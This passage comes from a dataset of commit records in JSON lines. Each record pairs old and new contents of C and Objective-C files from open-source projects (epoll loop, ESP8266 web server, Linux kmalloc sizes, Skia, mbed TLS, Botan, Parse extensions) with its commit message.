epoll_fd)\n{\n    struct epoll_event epoll_events[MAX_EPOLL_EVENTS];\n\n    while (1) {\n        int ii;\n        int num_events;\n\n        num_events = epoll_wait(epoll_fd, epoll_events, MAX_EPOLL_EVENTS, -1);\n        for (ii=0; ii < num_events; ii++ ) {\n            struct epoll_event_handler* handler = (struct epoll_event_handler*) epoll_events[ii].data.ptr;\n            handler->handle(handler, epoll_events[ii].events);\n        }\n\n    }\n\n}\n","subject":"Handle epoll events one at a time. Doesn't seem to make things slower, and eliminates (I think) risk of freed backends getting events.","message":"Handle epoll events one at a time.  Doesn't seem to make things slower, and eliminates (I think) risk of freed backends getting events.\n","lang":"C","license":"mit","repos":"gpjt\/rsp,gpjt\/rsp,gpjt\/rsp"}
{"commit":"b1d45cb3b9f9ad2089d57de0ec3fa75ea1cf7fc4","old_file":"include\/ygo\/data\/CardData.h","new_file":"include\/ygo\/data\/CardData.h","old_contents":"#ifndef YGO_DATA_CARDDATA_H\n#define YGO_DATA_CARDDATA_H\n\n#include <string>\n\n#include \"CardType.h\"\n\nnamespace ygo\n{\nnamespace data\n{\n\nstruct StaticCardData\n{\n    std::string name;\n    CardType cardType;\n    \/\/ monster only\n    Attribute attribute;\n    MonsterType monsterType;\n    Type type;\n    MonsterType monsterAbility;\n    int level;\n    int attack;\n    int defense;\n    int lpendulum;\n    int rpendulum;\n    \/\/ spell and trap only\n    SpellType spellType;\n    TrapType trapType;\n};\n\n}\n}\n\n#endif\n","new_contents":"#ifndef YGO_DATA_CARDDATA_H\n#define YGO_DATA_CARDDATA_H\n\n#include <string>\n\n#include \"CardType.h\"\n\nnamespace ygo\n{\nnamespace data\n{\n\nstruct StaticCardData\n{\n    const char* name;\n    CardType cardType;\n    \/\/ monster only\n    Attribute attribute;\n    MonsterType monsterType;\n    Type type;\n    MonsterType monsterAbility;\n    int level;\n    int attack;\n    int defense;\n    int lpendulum;\n    int rpendulum;\n    \/\/ spell and trap only\n    SpellType spellType;\n    TrapType trapType;\n};\n\n}\n}\n\n#endif\n","subject":"Change name to const char *","message":"Change name to const char *\n\nAllow for trivially constructable type\n","lang":"C","license":"mit","repos":"DeonPoncini\/ygodata"}
{"commit":"2d70b362127449ee79dc7fe236a7b20d75689fd3","old_file":"libraries\/ESP8266WebServer\/src\/detail\/RequestHandler.h","new_file":"libraries\/ESP8266WebServer\/src\/detail\/RequestHandler.h","old_contents":"#ifndef REQUESTHANDLER_H\n#define REQUESTHANDLER_H\n\nclass RequestHandler {\npublic:\n    virtual bool canHandle(HTTPMethod method, String uri) { return false; }\n    virtual bool canUpload(String uri) { return false; }\n    virtual bool handle(ESP8266WebServer& server, HTTPMethod requestMethod, String requestUri) { return false; }\n    virtual void upload(ESP8266WebServer& server, String requestUri, HTTPUpload& upload) {}\n\n    RequestHandler* next() { return _next; }\n    void next(RequestHandler* r) { _next = r; }\n\nprivate:\n    RequestHandler* _next = nullptr;\n};\n\n#endif \/\/REQUESTHANDLER_H\n","new_contents":"#ifndef REQUESTHANDLER_H\n#define REQUESTHANDLER_H\n\nclass RequestHandler {\npublic:\n    virtual ~RequestHandler() { }\n    virtual bool canHandle(HTTPMethod method, String uri) { return false; }\n    virtual bool canUpload(String uri) { return false; }\n    virtual bool handle(ESP8266WebServer& server, HTTPMethod requestMethod, String requestUri) { return false; }\n    virtual void upload(ESP8266WebServer& server, String requestUri, HTTPUpload& upload) {}\n\n    RequestHandler* next() { return _next; }\n    void next(RequestHandler* r) { _next = r; }\n\nprivate:\n    RequestHandler* _next = nullptr;\n};\n\n#endif \/\/REQUESTHANDLER_H\n","subject":"Fix warning due to lack of virtual destructor","message":"Fix warning due to lack of virtual destructor\n","lang":"C","license":"lgpl-2.1","repos":"lrmoreno007\/Arduino,KaloNK\/Arduino,hallard\/Arduino,KaloNK\/Arduino,quertenmont\/Arduino,jes\/Arduino,toastedcode\/esp8266-Arduino,martinayotte\/ESP8266-Arduino,sticilface\/Arduino,jes\/Arduino,me-no-dev\/Arduino,esp8266\/Arduino,martinayotte\/ESP8266-Arduino,lrmoreno007\/Arduino,KaloNK\/Arduino,Links2004\/Arduino,wemos\/Arduino,esp8266\/Arduino,Lan-Hekary\/Arduino,NextDevBoard\/Arduino,Links2004\/Arduino,Adam5Wu\/Arduino,wemos\/Arduino,Juppit\/Arduino,NullMedia\/Arduino,toastedcode\/esp8266-Arduino,NextDevBoard\/Arduino,esp8266\/Arduino,KaloNK\/Arduino,Lan-Hekary\/Arduino,martinayotte\/ESP8266-Arduino,Lan-Hekary\/Arduino,NullMedia\/Arduino,toastedcode\/esp8266-Arduino,wemos\/Arduino,jes\/Arduino,quertenmont\/Arduino,Juppit\/Arduino,Juppit\/Arduino,quertenmont\/Arduino,me-no-dev\/Arduino,Lan-Hekary\/Arduino,Adam5Wu\/Arduino,wemos\/Arduino,lrmoreno007\/Arduino,me-no-dev\/Arduino,martinayotte\/ESP8266-Arduino,Lan-Hekary\/Arduino,NextDevBoard\/Arduino,gguuss\/Arduino,Adam5Wu\/Arduino,KaloNK\/Arduino,sticilface\/Arduino,me-no-dev\/Arduino,jes\/Arduino,hallard\/Arduino,NextDevBoard\/Arduino,Juppit\/Arduino,gguuss\/Arduino,Adam5Wu\/Arduino,Links2004\/Arduino,toastedcode\/esp8266-Arduino,hallard\/Arduino,quertenmont\/Arduino,toastedcode\/esp8266-Arduino,gguuss\/Arduino,martinayotte\/ESP8266-Arduino,NullMedia\/Arduino,NullMedia\/Arduino,NextDevBoard\/Arduino,gguuss\/Arduino,gguuss\/Arduino,Links2004\/Arduino,lrmoreno007\/Arduino,Links2004\/Arduino,me-no-dev\/Arduino,quertenmont\/Arduino,sticilface\/Arduino,hallard\/Arduino,wemos\/Arduino,esp8266\/Arduino,lrmoreno007\/Arduino,hallard\/Arduino,sticilface\/Arduino,Adam5Wu\/Arduino,sticilface\/Arduino,NullMedia\/Arduino,esp8266\/Arduino,Juppit\/Arduino,jes\/Arduino"}
{"commit":"a615fa83959896f8eac76c235953fb164cd1a9b9","old_file":"include\/linux\/kmalloc_sizes.h","new_file":"include\/linux\/kmalloc_sizes.h","old_contents":"#if (PAGE_SIZE == 4096)\n\tCACHE(32)\n#endif\n\tCACHE(64)\n#if L1_CACHE_BYTES < 64\n\tCACHE(96)\n#endif\n\tCACHE(128)\n#if L1_CACHE_BYTES < 128\n\tCACHE(192)\n#endif\n\tCACHE(256)\n\tCACHE(512)\n\tCACHE(1024)\n\tCACHE(2048)\n\tCACHE(4096)\n\tCACHE(8192)\n\tCACHE(16384)\n\tCACHE(32768)\n\tCACHE(65536)\n\tCACHE(131072)\n#ifndef CONFIG_MMU\n\tCACHE(262144)\n\tCACHE(524288)\n\tCACHE(1048576)\n#ifdef CONFIG_LARGE_ALLOCS\n\tCACHE(2097152)\n\tCACHE(4194304)\n\tCACHE(8388608)\n\tCACHE(16777216)\n\tCACHE(33554432)\n#endif \/* CONFIG_LARGE_ALLOCS *\/\n#endif \/* CONFIG_MMU *\/\n","new_contents":"#if (PAGE_SIZE == 4096)\n\tCACHE(32)\n#endif\n\tCACHE(64)\n#if L1_CACHE_BYTES < 64\n\tCACHE(96)\n#endif\n\tCACHE(128)\n#if L1_CACHE_BYTES < 128\n\tCACHE(192)\n#endif\n\tCACHE(256)\n\tCACHE(512)\n\tCACHE(1024)\n\tCACHE(2048)\n\tCACHE(4096)\n\tCACHE(8192)\n\tCACHE(16384)\n\tCACHE(32768)\n\tCACHE(65536)\n\tCACHE(131072)\n#if (NR_CPUS > 512) || (MAX_NUMNODES > 256) || !defined(CONFIG_MMU)\n\tCACHE(262144)\n#endif\n#ifndef CONFIG_MMU\n\tCACHE(524288)\n\tCACHE(1048576)\n#ifdef CONFIG_LARGE_ALLOCS\n\tCACHE(2097152)\n\tCACHE(4194304)\n\tCACHE(8388608)\n\tCACHE(16777216)\n\tCACHE(33554432)\n#endif \/* CONFIG_LARGE_ALLOCS *\/\n#endif \/* CONFIG_MMU *\/\n","subject":"Increase max kmalloc size for very large systems","message":"[PATCH] Increase max kmalloc size for very large systems\n\nSystems with extemely large numbers of nodes or cpus need to kmalloc\nstructures larger than is currently supported.  This patch increases the\nmaximum supported size for very large systems.\n\nThis patch should have no effect on current systems.\n\n(akpm: why not just use alloc_pages() for sysfs_cpus?)\n\nSigned-off-by: Jack Steiner <9fc09c92f9d4898dd6e5af3e81679b627e939258@sgi.com>\nSigned-off-by: Andrew Morton <5c1e68b099950c134891f0b6e179498a8ebe9cf9@osdl.org>\nSigned-off-by: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@osdl.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"c6e3881888e2f39b24d5381ce01876f30cfb9482","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 88\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 89\n#endif\n","subject":"Update Skia milestone to 89","message":"Update Skia milestone to 89\n\nChange-Id: I9de827fe1902a9a91898fcf70d82153a821500ee\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/334418\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia"}
{"commit":"f0b2388d22e1002a70e80643500434b19723a8cc","old_file":"include\/samplog\/LogLevel.h","new_file":"include\/samplog\/LogLevel.h","old_contents":"#pragma once\n#ifndef INC_SAMPLOG_LOGLEVEL_H\n#define INC_SAMPLOG_LOGLEVEL_H\n\n#ifdef ERROR \/\/because Microsoft\n#undef ERROR\n#endif\n\n\nenum samplog_LogLevel\n{\n\tNONE = 0,\n\tDEBUG = 1,\n\tINFO = 2,\n\tWARNING = 4,\n\tERROR = 8,\n\tFATAL = 16,\n\tVERBOSE = 32,\n};\n\ninline samplog_LogLevel operator|(samplog_LogLevel a, samplog_LogLevel b)\n{\n\treturn static_cast<samplog_LogLevel>(static_cast<int>(a) | static_cast<int>(b));\n}\n\n#ifdef __cplusplus\nnamespace samplog\n{\n\ttypedef samplog_LogLevel LogLevel;\n}\n#endif \/* __cplusplus *\/\n\n\n#endif \/* INC_SAMPLOG_LOGLEVEL_H *\/\n","new_contents":"#pragma once\n#ifndef INC_SAMPLOG_LOGLEVEL_H\n#define INC_SAMPLOG_LOGLEVEL_H\n\n#ifdef ERROR \/\/because Microsoft\n#undef ERROR\n#endif\n\n\nenum samplog_LogLevel\n{\n\tNONE = 0,\n\tDEBUG = 1,\n\tINFO = 2,\n\tWARNING = 4,\n\tERROR = 8,\n\tFATAL = 16,\n\tVERBOSE = 32,\n};\n\n#ifdef __cplusplus\ninline samplog_LogLevel operator|(samplog_LogLevel a, samplog_LogLevel b)\n{\n\treturn static_cast<samplog_LogLevel>(static_cast<int>(a) | static_cast<int>(b));\n}\n\nnamespace samplog\n{\n\ttypedef samplog_LogLevel LogLevel;\n}\n#endif \/* __cplusplus *\/\n\n\n#endif \/* INC_SAMPLOG_LOGLEVEL_H *\/\n","subject":"Put enum OR declaration in `__cplusplus`","message":"Put enum OR declaration in `__cplusplus`\n","lang":"C","license":"mit","repos":"maddinat0r\/samp-log-core,maddinat0r\/samp-log-core"}
{"commit":"f928e7a707a09d471881dc77e46992a774ae5b44","old_file":"features\/mbedtls\/targets\/TARGET_STM\/TARGET_STM32F4\/TARGET_STM32F439xI\/mbedtls_device.h","new_file":"features\/mbedtls\/targets\/TARGET_STM\/TARGET_STM32F4\/TARGET_STM32F439xI\/mbedtls_device.h","old_contents":"\/*\n *  mbedtls_device.h\n *******************************************************************************\n * Copyright (c) 2017, STMicroelectronics\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *\/\n#ifndef MBEDTLS_DEVICE_H\n#define MBEDTLS_DEVICE_H\n\n\/* FIXME: Don't enable AES hardware acceleration until issue #4928 is fixed.\n * (https:\/\/github.com\/ARMmbed\/mbed-os\/issues\/4928) *\/\n\/* #define MBEDTLS_AES_ALT *\/\n\n#define MBEDTLS_SHA256_ALT\n\n#define MBEDTLS_SHA1_ALT\n\n#define MBEDTLS_MD5_ALT\n\n#endif \/* MBEDTLS_DEVICE_H *\/\n","new_contents":"\/*\n *  mbedtls_device.h\n *******************************************************************************\n * Copyright (c) 2017, STMicroelectronics\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *\/\n#ifndef MBEDTLS_DEVICE_H\n#define MBEDTLS_DEVICE_H\n\n\/* FIXME: Don't enable AES hardware acceleration until issue #4928 is fixed.\n * (https:\/\/github.com\/ARMmbed\/mbed-os\/issues\/4928) *\/\n\/* #define MBEDTLS_AES_ALT *\/\n\n\/* FIXME: Don't enable SHA1, SHA256 and MD5 hardware acceleration until issue\n * #5079 is fixed. (https:\/\/github.com\/ARMmbed\/mbed-os\/issues\/5079) *\/\n\/* #define MBEDTLS_SHA256_ALT *\/\n\n\/* #define MBEDTLS_SHA1_ALT *\/\n\n\/* #define MBEDTLS_MD5_ALT *\/\n\n#endif \/* MBEDTLS_DEVICE_H *\/\n","subject":"Disable MD5, SHA1, SHA256 HW ACC for STM32F439xI","message":"mbedtls: Disable MD5, SHA1, SHA256 HW ACC for STM32F439xI\n\nSTM32F439xI-family MD5, SHA1 and SHA256 hardware acceleration\noccasionally produces incorrect output (#5079).\n\nDon't enable MD5, SHA1 and SHA256 HW acceleration on STM32F439xI-family\ntargets by default until issue #5079 is fixed.\n","lang":"C","license":"apache-2.0","repos":"mazimkhan\/mbed-os,mbedmicro\/mbed,infinnovation\/mbed-os,betzw\/mbed-os,ryankurte\/mbed-os,karsev\/mbed-os,ryankurte\/mbed-os,mbedmicro\/mbed,infinnovation\/mbed-os,karsev\/mbed-os,nRFMesh\/mbed-os,karsev\/mbed-os,c1728p9\/mbed-os,catiedev\/mbed-os,c1728p9\/mbed-os,karsev\/mbed-os,karsev\/mbed-os,Archcady\/mbed-os,andcor02\/mbed-os,betzw\/mbed-os,mazimkhan\/mbed-os,nRFMesh\/mbed-os,andcor02\/mbed-os,nRFMesh\/mbed-os,mazimkhan\/mbed-os,Archcady\/mbed-os,mbedmicro\/mbed,catiedev\/mbed-os,kjbracey-arm\/mbed,CalSol\/mbed,andcor02\/mbed-os,catiedev\/mbed-os,CalSol\/mbed,HeadsUpDisplayInc\/mbed,nRFMesh\/mbed-os,andcor02\/mbed-os,c1728p9\/mbed-os,betzw\/mbed-os,nRFMesh\/mbed-os,infinnovation\/mbed-os,HeadsUpDisplayInc\/mbed,mazimkhan\/mbed-os,Archcady\/mbed-os,Archcady\/mbed-os,c1728p9\/mbed-os,HeadsUpDisplayInc\/mbed,kjbracey-arm\/mbed,kjbracey-arm\/mbed,mbedmicro\/mbed,c1728p9\/mbed-os,mazimkhan\/mbed-os,infinnovation\/mbed-os,betzw\/mbed-os,mazimkhan\/mbed-os,ryankurte\/mbed-os,betzw\/mbed-os,kjbracey-arm\/mbed,karsev\/mbed-os,ryankurte\/mbed-os,Archcady\/mbed-os,mbedmicro\/mbed,catiedev\/mbed-os,CalSol\/mbed,HeadsUpDisplayInc\/mbed,catiedev\/mbed-os,HeadsUpDisplayInc\/mbed,betzw\/mbed-os,ryankurte\/mbed-os,infinnovation\/mbed-os,andcor02\/mbed-os,c1728p9\/mbed-os,catiedev\/mbed-os,CalSol\/mbed,ryankurte\/mbed-os,infinnovation\/mbed-os,HeadsUpDisplayInc\/mbed,Archcady\/mbed-os,CalSol\/mbed,nRFMesh\/mbed-os,andcor02\/mbed-os,CalSol\/mbed"}
{"commit":"ee396e6fa028184cf715351311ba3c41e7b8228e","old_file":"src\/lib\/utils\/openssl\/openssl.h","new_file":"src\/lib\/utils\/openssl\/openssl.h","old_contents":"\/*\n* Utils for calling OpenSSL\n* (C) 2015 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#ifndef BOTAN_OPENSSL_H__\n#define BOTAN_OPENSSL_H__\n\n#include <botan\/secmem.h>\n#include <botan\/exceptn.h>\n#include <memory>\n\n#include <openssl\/err.h>\n\nnamespace Botan {\n\nclass OpenSSL_Error : public Exception\n   {\n   public:\n      OpenSSL_Error(const std::string& what) :\n         Exception(what + \" failed: \" + ERR_error_string(ERR_get_error(), nullptr)) {}\n   };\n\n#define BOTAN_OPENSSL_BLOCK_PRIO 150\n#define BOTAN_OPENSSL_HASH_PRIO  150\n#define BOTAN_OPENSSL_RC4_PRIO   150\n\n#define BOTAN_OPENSSL_RSA_PRIO     150\n#define BOTAN_OPENSSL_ECDSA_PRIO   150\n\n}\n\n#endif\n","new_contents":"\/*\n* Utils for calling OpenSSL\n* (C) 2015 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#ifndef BOTAN_OPENSSL_H__\n#define BOTAN_OPENSSL_H__\n\n#include <botan\/secmem.h>\n#include <botan\/exceptn.h>\n#include <memory>\n\n#include <openssl\/err.h>\n\nnamespace Botan {\n\nclass OpenSSL_Error : public Exception\n   {\n   public:\n      OpenSSL_Error(const std::string& what) :\n         Exception(what + \" failed: \" + ERR_error_string(ERR_get_error(), nullptr)) {}\n   };\n\n#define BOTAN_OPENSSL_BLOCK_PRIO 150\n#define BOTAN_OPENSSL_HASH_PRIO  150\n#define BOTAN_OPENSSL_RC4_PRIO   150\n\n#define BOTAN_OPENSSL_RSA_PRIO     90\n#define BOTAN_OPENSSL_ECDSA_PRIO   90\n\n}\n\n#endif\n","subject":"Make OpenSSL ECDSA and RSA request only until they can be tested","message":"Make OpenSSL ECDSA and RSA request only until they can be tested\n","lang":"C","license":"bsd-2-clause","repos":"randombit\/botan,randombit\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,randombit\/botan"}
{"commit":"10687f69c018875f5180e93aeff5bdc3d6b828d1","old_file":"include\/bold\/Support\/Slab.h","new_file":"include\/bold\/Support\/Slab.h","old_contents":"\/\/===- Slab.h -------------------------------------------------------------===\/\/\n\/\/\n\/\/                            The Bold Project\n\/\/\n\/\/  This file is distributed under the New BSD License.\n\/\/  See LICENSE for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef BOLD_SUPPORT_SLAB_H\n#define BOLD_SUPPORT_SLAB_H\n#include <bold\/ADT\/IListNode.h>\n\nnamespace bold {\n\n\/** \\class Slab\n *  \\brief Slab is a continuous memory space that amounts to `Amount`\n *  `DataType` elements.\n *\n *  Slab is a basic allocated unit of BumpAllocator.\n *\n *  @tparam DataType the type of elements\n *  @tparam Amount   the amount of elements in a slab\n *\/\ntemplate<typename DataType, unsigned int Amount>\nstruct Slab : public IListNode<Slab>\n{\npublic:\n  enum {\n    max_size = Amount\n  };\n\npublic:\n  DataType data[max_size];\n};\n\n} \/\/ namespace bold\n\n#endif\n","new_contents":"\/\/===- Slab.h -------------------------------------------------------------===\/\/\n\/\/\n\/\/                            The Bold Project\n\/\/\n\/\/  This file is distributed under the New BSD License.\n\/\/  See LICENSE for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef BOLD_SUPPORT_SLAB_H\n#define BOLD_SUPPORT_SLAB_H\n#include <bold\/ADT\/IListNode.h>\n\nnamespace bold {\n\n\/** \\class Slab\n *  \\brief Slab is a continuous memory space that amounts to `Amount`\n *  `DataType` elements.\n *\n *  Slab is a basic allocated unit of BumpAllocator.\n *\n *  @tparam DataType the type of elements\n *  @tparam Amount   the amount of elements in a slab\n *\/\ntemplate<typename DataType, unsigned int Amount>\nstruct Slab : public IListNodeBase\n{\npublic:\n  enum {\n    max_size = Amount\n  };\n\npublic:\n  DataType data[max_size];\n};\n\n} \/\/ namespace bold\n\n#endif\n","subject":"Fix bug - obviously, recursive template type is impossible.","message":"Fix bug - obviously, recursive template type is impossible.\n","lang":"C","license":"bsd-3-clause","repos":"astrotycoon\/bold-utils,hjmeric\/bold-utils,hjmeric\/bold-utils,astrotycoon\/bold-utils"}
{"commit":"1acc1d642a43ed98b59e42bd2ace0204f862719f","old_file":"lib\/c_impl\/n_hamming_window.c","new_file":"lib\/c_impl\/n_hamming_window.c","old_contents":"","new_contents":"#include \"ruby.h\"\n#include \"noyes.h\"\n\nHammingWindow * new_hamming_window(int window_size) {\n  HammingWindow *hw = malloc(sizeof(HammingWindow));\n  hw->buf = malloc(window_size * sizeof(double));\n  hw->buflen = window_size;\n  return hw;\n}\n\nvoid free_hamming_window(HammingWindow *hw) {\n  free(hw->buf);\n  free(hw);\n}\n\nNData2 * hamming_window_apply(HammingWindow *self, NData2* data) {\n  return NULL;\n}\n","subject":"Implement allocation and deallocation for c hamming window.","message":"Implement allocation and deallocation for c hamming window.\n","lang":"C","license":"bsd-2-clause","repos":"talkhouse\/noyes,talkhouse\/noyes,talkhouse\/noyes"}
{"commit":"b71d9d2e421652ca60b67b9ce37d7e6988e40e0e","old_file":"src\/miners\/fs\/tracker-writeback.h","new_file":"src\/miners\/fs\/tracker-writeback.h","old_contents":"\/*\n * Copyright (C) 2008, Nokia <ivan.frade@nokia.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA  02110-1301, USA.\n *\/\n\n#ifndef __TRACKER_MINER_FS_WRITEBACK_H__\n#define __TRACKER_MINER_FS_WRITEBACK_H__\n\n#include <libtracker-miner\/tracker-miner.h>\n\n#include \"tracker-config.h\"\n\n#include \"tracker-miner-files.h\"\n\nG_BEGIN_DECLS\n\nvoid tracker_writeback_init     (TrackerMinerFiles  *miner_files,\n                                 TrackerConfig      *config,\n                                 GError            **error);\nvoid tracker_writeback_shutdown (void);\n\nG_END_DECLS\n\n#endif \/* __TRACKER_MINER_FS_WRITEBACK_H__ *\/\n","new_contents":"\/*\n * Copyright (C) 2008, Nokia <ivan.frade@nokia.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA  02110-1301, USA.\n *\/\n\n#ifndef __TRACKER_MINER_FS_WRITEBACK_H__\n#define __TRACKER_MINER_FS_WRITEBACK_H__\n\n#include <libtracker-miner\/tracker-miner.h>\n\n#include \"tracker-config.h\"\n\n#include \"tracker-miner-files.h\"\n\nG_BEGIN_DECLS\n\nvoid tracker_writeback_init     (TrackerMinerFiles  *miner_files,\n                                 TrackerConfig      *config,\n                                 GError            **error);\nvoid tracker_writeback_shutdown (void);\n\nG_END_DECLS\n\n#endif \/* __TRACKER_MINER_FS_WRITEBACK_H__ *\/\n","subject":"Fix licensing errors in files","message":"tracker-miner-fs: Fix licensing errors in files\n\nSome were changed from GPL to LGPL for some reason. Now they're all GPL as\nthey should be.\n","lang":"C","license":"lgpl-2.1","repos":"hoheinzollern\/tracker,hoheinzollern\/tracker,hoheinzollern\/tracker,outofbits\/tracker,hoheinzollern\/tracker,hoheinzollern\/tracker,hoheinzollern\/tracker,outofbits\/tracker,hoheinzollern\/tracker,outofbits\/tracker,outofbits\/tracker,outofbits\/tracker,outofbits\/tracker,outofbits\/tracker"}
{"commit":"2672954aebf325f7c73f0539fd5e6aa53f4bb1e9","old_file":"Parse-RACExtensions\/PFQuery+RACExtensions.h","new_file":"Parse-RACExtensions\/PFQuery+RACExtensions.h","old_contents":"\/\/\n\/\/  PFQuery+RACExtensions.h\n\/\/  Parse-RACExtensions\n\/\/\n\/\/  Created by Dave Lee on 2013-06-28.\n\/\/  Copyright (c) 2013 Dave Lee. All rights reserved.\n\/\/\n\n#import <Parse\/PFQuery.h>\n\n@class RACSignal;\n\n@interface PFQuery (RACExtensions)\n\n\/\/\/ Gets a PFObject with the given id.\n\/\/\/\n\/\/\/ @warning This mutates the PFQuery.\n\/\/\/\n\/\/\/ @see -getObjectInBackgroundWithId:block:\n\/\/\/\n\/\/\/ @return A signal that sends the identified PFObject.\n- (RACSignal *)rac_getObjectWithId:(NSString *)objectId;\n\n\/\/\/ Finds objects based on the constructed query.\n\/\/\/\n\/\/\/ @see -findObjectsInBackgroundWithBlock:\n\/\/\/\n\/\/\/ @return A signal that sends the NSArray of matching PFObjects.\n- (RACSignal *)rac_findObjects;\n\n\/\/\/ Gets an object based on the constructed query.\n\/\/\/\n\/\/\/ @warning This mutates the PFQuery.\n\/\/\/\n\/\/\/ @see -getFirstObjectInBackgroundWithBlock:\n\/\/\/\n\/\/\/ @return A signal that sends the first matching PFObject.\n- (RACSignal *)rac_getFirstObject;\n\n\/\/\/ Counts objects based on the constructed query.\n\/\/\/\n\/\/\/ @see -countObjectsInBackgroundWithBlock:\n\/\/\/\n\/\/\/ @return A signal that sends the integer count of matching PFObjects\n- (RACSignal *)rac_countObjects;\n\n@end\n","new_contents":"\/\/\n\/\/  PFQuery+RACExtensions.h\n\/\/  Parse-RACExtensions\n\/\/\n\/\/  Created by Dave Lee on 2013-06-28.\n\/\/  Copyright (c) 2013 Dave Lee. All rights reserved.\n\/\/\n\n#import <Parse\/PFQuery.h>\n\n@class RACSignal;\n\n@interface PFQuery (RACExtensions)\n\n\/\/\/ Gets a PFObject with the given id.\n\/\/\/\n\/\/\/ Disposing subscription will also cancel the query.\n\/\/\/\n\/\/\/ @warning This mutates the PFQuery.\n\/\/\/\n\/\/\/ @see -getObjectInBackgroundWithId:block:\n\/\/\/\n\/\/\/ @return A signal that sends the identified PFObject.\n- (RACSignal *)rac_getObjectWithId:(NSString *)objectId;\n\n\/\/\/ Finds objects based on the constructed query.\n\/\/\/\n\/\/\/ Disposing subscription will also cancel the query.\n\/\/\/\n\/\/\/ @see -findObjectsInBackgroundWithBlock:\n\/\/\/\n\/\/\/ @return A signal that sends the NSArray of matching PFObjects.\n- (RACSignal *)rac_findObjects;\n\n\/\/\/ Gets an object based on the constructed query.\n\/\/\/\n\/\/\/ Disposing subscription will also cancel the query.\n\/\/\/\n\/\/\/ @warning This mutates the PFQuery.\n\/\/\/\n\/\/\/ @see -getFirstObjectInBackgroundWithBlock:\n\/\/\/\n\/\/\/ @return A signal that sends the first matching PFObject.\n- (RACSignal *)rac_getFirstObject;\n\n\/\/\/ Counts objects based on the constructed query.\n\/\/\/\n\/\/\/ Disposing subscription will also cancel the query.\n\/\/\/\n\/\/\/ @see -countObjectsInBackgroundWithBlock:\n\/\/\/\n\/\/\/ @return A signal that sends the integer count of matching PFObjects\n- (RACSignal *)rac_countObjects;\n\n@end\n","subject":"Document PFQuery disposal side effects","message":"Document PFQuery disposal side 